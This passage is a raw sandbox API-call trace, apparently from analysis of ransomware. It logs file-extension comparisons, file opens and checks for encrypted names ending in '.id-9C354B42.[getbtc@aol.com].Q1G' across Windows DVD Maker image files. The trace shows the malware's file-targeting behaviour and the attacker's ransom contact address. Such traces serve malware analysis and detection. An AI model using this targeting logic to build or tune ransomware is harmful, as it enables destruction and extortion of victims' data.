(lpString=".docx") returned 5 [0051.843] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0051.843] lstrlenW (lpString=".pdf") returned 4 [0051.843] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0051.843] lstrlenW (lpString=".xls") returned 4 [0051.843] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0051.843] lstrlenW (lpString=".xlsx") returned 5 [0051.843] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0051.843] lstrlenW (lpString=".ppt") returned 4 [0051.843] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0051.843] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0051.843] lstrlenW (lpString=".zip") returned 4 [0051.843] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0051.843] lstrlenW (lpString=".rar") returned 4 [0051.843] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0051.844] lstrlenW (lpString=".bz2") returned 4 [0051.844] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0051.844] lstrlenW (lpString=".7z") returned 3 [0051.844] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0051.844] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0051.844] lstrlenW (lpString=".dbf") returned 4 [0051.844] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0051.844] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0051.844] lstrlenW (lpString=".1cd") returned 4 [0051.844] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0051.844] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0051.844] lstrlenW (lpString=".jpg") returned 4 [0051.844] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0051.844] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0051.844] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0051.844] lstrlenW (lpString=".doc") returned 4 [0051.844] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0051.844] lstrlenW (lpString=".docx") returned 5 [0051.844] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0051.844] lstrlenW (lpString=".pdf") returned 4 [0051.844] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0051.844] lstrlenW (lpString=".xls") returned 4 [0051.844] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0051.844] lstrlenW (lpString=".xlsx") returned 5 [0051.844] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0051.844] lstrlenW (lpString=".ppt") returned 4 [0051.844] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0051.844] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0051.844] lstrlenW (lpString=".zip") returned 4 [0051.844] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0051.844] lstrlenW (lpString=".rar") returned 4 [0051.844] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0051.844] lstrlenW (lpString=".bz2") returned 4 [0051.844] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0051.845] lstrlenW (lpString=".7z") returned 3 [0051.845] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0051.845] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0051.845] lstrlenW (lpString=".dbf") returned 4 [0051.845] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0051.845] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0051.845] lstrlenW (lpString=".1cd") returned 4 [0051.845] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0051.845] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0051.845] lstrlenW (lpString=".jpg") returned 4 [0051.845] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0051.845] lstrcmpiW (lpString1=".png", lpString2=".Q1G") returned -1 [0051.845] lstrlenW (lpString="NavigationLeft_SelectionSubpicture.png") returned 38 [0051.845] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0052.371] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=3130) returned 1 [0052.371] CloseHandle (hObject=0x208) returned 1 [0052.371] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_selectionsubpicture.png")) returned 0x20 [0052.371] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_selectionsubpicture.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0052.371] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0052.371] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png") returned 91 [0052.371] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png") returned 91 [0052.371] lstrlenW (lpString=".doc") returned 4 [0052.371] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0052.371] lstrlenW (lpString=".docx") returned 5 [0052.372] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0052.372] lstrlenW (lpString=".pdf") returned 4 [0052.372] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0052.372] lstrlenW (lpString=".xls") returned 4 [0052.372] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0052.372] lstrlenW (lpString=".xlsx") returned 5 [0052.372] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0052.372] lstrlenW (lpString=".ppt") returned 4 [0052.372] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0052.372] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png") returned 91 [0052.372] lstrlenW (lpString=".zip") returned 4 [0052.372] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0052.372] lstrlenW (lpString=".rar") returned 4 [0052.372] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0052.372] lstrlenW (lpString=".bz2") returned 4 [0052.372] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0052.372] lstrlenW (lpString=".7z") returned 3 [0052.372] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0052.372] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png") returned 91 [0052.372] lstrlenW (lpString=".dbf") returned 4 [0052.372] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0052.372] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png") returned 91 [0052.372] lstrlenW (lpString=".1cd") returned 4 [0052.372] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0052.372] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png") returned 91 [0052.372] lstrlenW (lpString=".jpg") returned 4 [0052.372] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0052.372] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png") returned 91 [0052.372] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png") returned 91 [0052.372] lstrlenW (lpString=".doc") returned 4 [0052.372] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0052.372] lstrlenW (lpString=".docx") returned 5 [0052.373] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0052.373] lstrlenW (lpString=".pdf") returned 4 [0052.373] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0052.373] lstrlenW (lpString=".xls") returned 4 [0052.373] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0052.373] lstrlenW (lpString=".xlsx") returned 5 [0052.373] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0052.373] lstrlenW (lpString=".ppt") returned 4 [0052.373] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0052.373] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png") returned 91 [0052.373] lstrlenW (lpString=".zip") returned 4 [0052.373] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0052.373] lstrlenW (lpString=".rar") returned 4 [0052.373] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0052.373] lstrlenW (lpString=".bz2") returned 4 [0052.373] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0052.373] lstrlenW (lpString=".7z") returned 3 [0052.373] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0052.373] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png") returned 91 [0052.373] lstrlenW (lpString=".dbf") returned 4 [0052.373] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0052.373] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png") returned 91 [0052.373] lstrlenW (lpString=".1cd") returned 4 [0052.373] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0052.373] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png") returned 91 [0052.373] lstrlenW (lpString=".jpg") returned 4 [0052.373] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0052.373] lstrcmpiW (lpString1=".png", lpString2=".Q1G") returned -1 [0052.373] lstrlenW (lpString="Pets_btn-back-over-select.png") returned 29 [0052.374] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-over-select.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0052.769] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=3016) returned 1 [0052.769] CloseHandle (hObject=0x198) returned 1 [0052.769] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-over-select.png")) returned 0x20 [0052.769] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-over-select.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0052.769] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-over-select.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0052.769] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png") returned 78 [0052.769] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png") returned 78 [0052.769] lstrlenW (lpString=".doc") returned 4 [0052.769] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0052.769] lstrlenW (lpString=".docx") returned 5 [0052.769] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0052.769] lstrlenW (lpString=".pdf") returned 4 [0052.769] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0052.769] lstrlenW (lpString=".xls") returned 4 [0052.769] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0052.769] lstrlenW (lpString=".xlsx") returned 5 [0052.769] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0052.769] lstrlenW (lpString=".ppt") returned 4 [0052.769] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0052.770] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png") returned 78 [0052.770] lstrlenW (lpString=".zip") returned 4 [0052.770] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0052.770] lstrlenW (lpString=".rar") returned 4 [0052.770] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0052.770] lstrlenW (lpString=".bz2") returned 4 [0052.770] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0052.770] lstrlenW (lpString=".7z") returned 3 [0052.770] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0052.770] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png") returned 78 [0052.770] lstrlenW (lpString=".dbf") returned 4 [0052.770] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0052.770] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png") returned 78 [0052.770] lstrlenW (lpString=".1cd") returned 4 [0052.770] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0052.770] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png") returned 78 [0052.770] lstrlenW (lpString=".jpg") returned 4 [0052.770] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0052.770] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png") returned 78 [0052.770] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png") returned 78 [0052.770] lstrlenW (lpString=".doc") returned 4 [0052.770] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0052.770] lstrlenW (lpString=".docx") returned 5 [0052.770] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0052.770] lstrlenW (lpString=".pdf") returned 4 [0052.770] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0052.770] lstrlenW (lpString=".xls") returned 4 [0052.770] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0052.770] lstrlenW (lpString=".xlsx") returned 5 [0052.770] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0052.770] lstrlenW (lpString=".ppt") returned 4 [0052.770] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0052.770] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png") returned 78 [0052.770] lstrlenW (lpString=".zip") returned 4 [0052.770] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0052.770] lstrlenW (lpString=".rar") returned 4 [0052.771] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0052.771] lstrlenW (lpString=".bz2") returned 4 [0052.771] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0052.771] lstrlenW (lpString=".7z") returned 3 [0052.771] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0052.771] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png") returned 78 [0052.771] lstrlenW (lpString=".dbf") returned 4 [0052.771] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0052.771] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png") returned 78 [0052.771] lstrlenW (lpString=".1cd") returned 4 [0052.771] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0052.771] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png") returned 78 [0052.771] lstrlenW (lpString=".jpg") returned 4 [0052.771] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0052.771] lstrcmpiW (lpString1=".png", lpString2=".Q1G") returned -1 [0052.771] lstrlenW (lpString="Pets_btn-previous-over-select.png") returned 33 [0052.771] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-over-select.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0052.771] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=3016) returned 1 [0052.771] CloseHandle (hObject=0x198) returned 1 [0052.771] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-over-select.png")) returned 0x20 [0052.771] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-over-select.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0052.772] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-over-select.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0052.772] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png") returned 82 [0052.772] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png") returned 82 [0052.772] lstrlenW (lpString=".doc") returned 4 [0052.772] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0052.772] lstrlenW (lpString=".docx") returned 5 [0052.772] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0052.772] lstrlenW (lpString=".pdf") returned 4 [0052.772] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0052.772] lstrlenW (lpString=".xls") returned 4 [0052.772] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0052.772] lstrlenW (lpString=".xlsx") returned 5 [0052.772] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0052.772] lstrlenW (lpString=".ppt") returned 4 [0052.772] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0052.772] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png") returned 82 [0052.772] lstrlenW (lpString=".zip") returned 4 [0052.772] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0052.772] lstrlenW (lpString=".rar") returned 4 [0052.772] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0052.772] lstrlenW (lpString=".bz2") returned 4 [0052.772] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0052.772] lstrlenW (lpString=".7z") returned 3 [0052.772] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0052.772] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png") returned 82 [0052.772] lstrlenW (lpString=".dbf") returned 4 [0052.772] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0052.772] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png") returned 82 [0052.772] lstrlenW (lpString=".1cd") returned 4 [0052.772] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0052.772] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png") returned 82 [0052.772] lstrlenW (lpString=".jpg") returned 4 [0052.772] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0052.772] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png") returned 82 [0052.773] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png") returned 82 [0052.773] lstrlenW (lpString=".doc") returned 4 [0052.773] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0052.773] lstrlenW (lpString=".docx") returned 5 [0052.773] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0052.773] lstrlenW (lpString=".pdf") returned 4 [0052.773] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0052.773] lstrlenW (lpString=".xls") returned 4 [0052.773] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0052.773] lstrlenW (lpString=".xlsx") returned 5 [0052.773] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0052.773] lstrlenW (lpString=".ppt") returned 4 [0052.773] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0052.773] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png") returned 82 [0052.773] lstrlenW (lpString=".zip") returned 4 [0052.773] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0052.773] lstrlenW (lpString=".rar") returned 4 [0052.773] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0052.773] lstrlenW (lpString=".bz2") returned 4 [0052.773] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0052.773] lstrlenW (lpString=".7z") returned 3 [0052.773] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0052.773] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png") returned 82 [0052.773] lstrlenW (lpString=".dbf") returned 4 [0052.773] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0052.773] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png") returned 82 [0052.773] lstrlenW (lpString=".1cd") returned 4 [0052.773] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0052.773] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png") returned 82 [0052.773] lstrlenW (lpString=".jpg") returned 4 [0052.773] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0052.773] lstrcmpiW (lpString1=".png", lpString2=".Q1G") returned -1 [0052.774] lstrlenW (lpString="Pets_btn-previous-static.png") returned 28 [0052.774] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0052.774] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=2019) returned 1 [0052.774] CloseHandle (hObject=0x198) returned 1 [0052.774] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-static.png")) returned 0x20 [0052.774] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-static.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0052.774] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0052.774] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png") returned 77 [0052.774] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png") returned 77 [0052.774] lstrlenW (lpString=".doc") returned 4 [0052.774] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0052.774] lstrlenW (lpString=".docx") returned 5 [0052.774] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0052.774] lstrlenW (lpString=".pdf") returned 4 [0052.774] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0052.774] lstrlenW (lpString=".xls") returned 4 [0052.774] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0052.774] lstrlenW (lpString=".xlsx") returned 5 [0052.774] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0052.775] lstrlenW (lpString=".ppt") returned 4 [0052.775] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0052.775] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png") returned 77 [0052.775] lstrlenW (lpString=".zip") returned 4 [0052.775] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0052.775] lstrlenW (lpString=".rar") returned 4 [0052.775] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0052.775] lstrlenW (lpString=".bz2") returned 4 [0052.775] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0052.775] lstrlenW (lpString=".7z") returned 3 [0052.775] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0052.775] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png") returned 77 [0052.775] lstrlenW (lpString=".dbf") returned 4 [0052.775] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0052.775] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png") returned 77 [0052.775] lstrlenW (lpString=".1cd") returned 4 [0052.775] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0052.775] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png") returned 77 [0052.775] lstrlenW (lpString=".jpg") returned 4 